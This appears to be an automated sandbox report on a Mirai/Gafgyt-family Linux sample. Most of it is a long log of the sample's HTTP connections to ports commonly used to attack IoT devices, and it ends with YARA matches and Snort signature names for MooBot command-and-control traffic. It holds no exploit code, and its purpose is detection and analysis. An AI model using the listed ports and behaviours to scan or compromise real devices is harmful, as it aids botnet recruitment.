Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51466
Source: unknown	Network traffic detected: HTTP traffic on port 45820 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42904 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59250 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 36626 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36674 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55862 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57392 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45834 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33414 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47552 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49536 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33558 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33414 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43500 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41710 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41156 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38494 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38498 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38494
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38498
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38494
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55586 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48794 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59642 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 60950 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41108 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 37814 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33742 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55266 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33742
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38470
Source: unknown	Network traffic detected: HTTP traffic on port 55272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33754
Source: unknown	Network traffic detected: HTTP traffic on port 38602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43626 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38602
Source: unknown	Network traffic detected: HTTP traffic on port 43462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37748
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37814
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37748
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58864
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 35918 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48272 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48272
Source: unknown	Network traffic detected: HTTP traffic on port 48282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48282
Source: unknown	Network traffic detected: HTTP traffic on port 49090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44424 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 59432 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46796 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58510 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49090 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58510
Source: unknown	Network traffic detected: HTTP traffic on port 58576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49090
Source: unknown	Network traffic detected: HTTP traffic on port 53636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58576
Source: unknown	Network traffic detected: HTTP traffic on port 36868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51222 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42606
Source: unknown	Network traffic detected: HTTP traffic on port 42754 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42754
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58576
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49112 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49112
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45262 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45262 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43720 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 38240 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38240
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 38254
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53672 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37598 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 37598
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35558 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 56888 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45206 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53514 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49364
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36682 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39254 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36930 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39262 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49396 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49396
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55324 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38932 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38968 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46484
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46554
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35194 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39754 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39740 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8088 -> 57908
Source: unknown	Network traffic detected: HTTP traffic on port 50580 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 41480 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53400 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53422 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53624 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35772 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60792 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60880 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43196 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42806
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48526 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48550 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41832 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48712
Source: unknown	Network traffic detected: HTTP traffic on port 45818 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48718
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40618 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40620 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43310 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40606 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44952 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40684 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55134 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41680 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59316 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59316
Source: unknown	Network traffic detected: HTTP traffic on port 59320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59320
Source: unknown	Network traffic detected: HTTP traffic on port 59970 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46686 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52248
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 54740 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47668 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55082 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49412 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49424 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59320
Source: unknown	Network traffic detected: HTTP traffic on port 46702 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60056 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35884 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36020 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35356 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46480 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46430 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57656 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 57696 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57656
Source: unknown	Network traffic detected: HTTP traffic on port 45812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57696
Source: unknown	Network traffic detected: HTTP traffic on port 45820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33914 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33920 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35282 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49482 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 7547

Source: /tmp/I9k2Q7HKfO.elf (PID: 6260)

Queries kernel information via 'uname':

Jump to behavior

Source: I9k2Q7HKfO.elf, 6260.1.000055c24bb2d000.000055c24bb92000.rw-.sdmp, I9k2Q7HKfO.elf, 6311.1.000055c24bb2d000.000055c24bb92000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: I9k2Q7HKfO.elf, 6260.1.000055c24bb2d000.000055c24bb92000.rw-.sdmp, I9k2Q7HKfO.elf, 6311.1.000055c24bb2d000.000055c24bb92000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: I9k2Q7HKfO.elf, 6260.1.00007ffca29e5000.00007ffca2a06000.rw-.sdmp, I9k2Q7HKfO.elf, 6311.1.00007ffca29e5000.00007ffca2a06000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/I9k2Q7HKfO.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/I9k2Q7HKfO.elf
Source: I9k2Q7HKfO.elf, 6260.1.00007ffca29e5000.00007ffca2a06000.rw-.sdmp, I9k2Q7HKfO.elf, 6311.1.00007ffca29e5000.00007ffca2a06000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: I9k2Q7HKfO.elf, type: SAMPLE
Source: Yara match	File source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: I9k2Q7HKfO.elf, type: SAMPLE
Source: Yara match	File source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
